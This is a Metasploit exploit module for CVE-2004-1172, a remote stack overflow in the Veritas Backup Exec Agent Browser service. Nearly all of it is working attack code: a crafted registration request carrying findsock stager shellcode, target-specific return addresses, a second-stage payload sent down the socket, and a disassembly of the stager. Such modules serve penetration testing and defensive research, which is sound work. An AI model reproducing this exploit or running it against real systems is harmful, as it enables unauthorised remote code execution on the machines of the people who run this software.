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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Veritas Backup Exec Name Service Overflow',
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        'Description' => %q{
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          This module exploits a vulnerability in the Veritas Backup
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          Exec Agent Browser service. This vulnerability occurs when a
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          recv() call has a length value too long for the	destination
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          stack buffer. By sending an agent name value of 63 bytes or
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          more, we can overwrite the return address of the recv
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          function. Since we only have ~60 bytes of contiguous space
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          for shellcode, a tiny findsock payload is sent which uses a
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          hardcoded IAT address for the recv() function. This payload
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          will then roll the stack back to the beginning of the page,
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          recv() the real shellcode into it, and jump to it. This
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          module has been tested against Veritas 9.1 SP0, 9.1 SP1, and
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          8.6.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2004-1172'],
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          [ 'OSVDB', '12418'],
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          [ 'BID', '11974'],
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          [ 'URL', 'http://www.idefense.com/application/poi/display?id=169&type=vulnerabilities'],
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        ],
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 1024,
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          'MinNops' => 512,
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => %w{win},
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        'Targets' => [
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          [
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            'Veritas BE 9.1 SP0/SP1', # BackupExec 9.1 SP0/SP1 return contributed by class101
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            {
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              'Platform' => 'win',
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              'Rets' => [ 0x0142ffa1, 0x401150FF ], # [email protected] v9.1.4691.0 | [email protected]
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            },
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          ],
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          [
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            'Veritas BE 8.5',
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            {
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              'Platform' => 'win',
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              'Rets' => [ 0x014308b9, 0x401138FF ], # [email protected] v8.50.3572 | [email protected] v8.50.3572
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            },
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          ],
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        ],
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        'DisclosureDate' => '2004-12-16',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(6101)
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      ]
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    )
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    # This will findsock/read the real shellcode (51 bytes, harcoded IAT for recv)
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    # The IAT for recv() is for bnetns, the address is shifted by 8 bits to avoid
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    # nulls: [0x00401150 -> 0x401150FF]
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    stage_code = "\xfc" * 112
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    stage_read =
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      "\x31\xf6\xc1\xec\x0c\xc1\xe4\x0c\x89\xe7\x89\xfb\x6a\x01\x8b\x74" +
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      "\x24\xfe\x31\xd2\x52\x42\xc1\xe2\x10\x52\x57\x56\xb8\xff\x50\x11" +
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      "\x40\xc1\xe8\x08\xff\x10\x85\xc0\x79\x07\x89\xdc\x4e\x85\xf6\x75"
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    # Configure the IAT for the recv call
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    stage_read[29, 4] = [ target['Rets'][1] ].pack('V')
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    # Stuff it all into one request
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    stage_code[2, stage_read.length] = stage_read
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    # Create the registration request
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    req =
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      "\x02\x00\x32\x00\x20\x00" + stage_code + "\x00" +
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      "1.1.1.1.1.1\x00" + "\xeb\x81"
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    print_status("Sending the agent registration request of #{req.length} bytes...")
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    sock.put(req)
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    print_status("Sending the payload stage down the socket...")
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    sock.put(payload.encoded)
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    print_status("Waiting for the payload to execute...")
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    select(nil, nil, nil, 2)
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    handler
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    disconnect
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  end
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end
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__END__
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[ findsock stage ]
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00000000  31F6              xor esi,esi
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00000002  C1EC0C            shr esp,0xc
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00000005  C1E40C            shl esp,0xc
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00000008  89E7              mov edi,esp
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0000000A  89FB              mov ebx,edi
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0000000C  6A01              push byte +0x1
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0000000E  8B7424FE          mov esi,[esp-0x2]
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00000012  31D2              xor edx,edx
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00000014  52                push edx
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00000015  42                inc edx
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00000016  C1E210            shl edx,0x10
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00000019  52                push edx
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0000001A  57                push edi
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0000001B  56                push esi
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0000001C  B8FF501140        mov eax,0x401150ff
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00000021  C1E808            shr eax,0x8
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00000024  FF10              call near [eax]
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00000026  85C0              test eax,eax
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00000028  7907              jns 0x31
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0000002A  89DC              mov esp,ebx
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0000002C  4E                dec esi
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0000002D  85F6              test esi,esi
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0000002F  75E1              jnz 0x12
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00000031  FFD7              call edi
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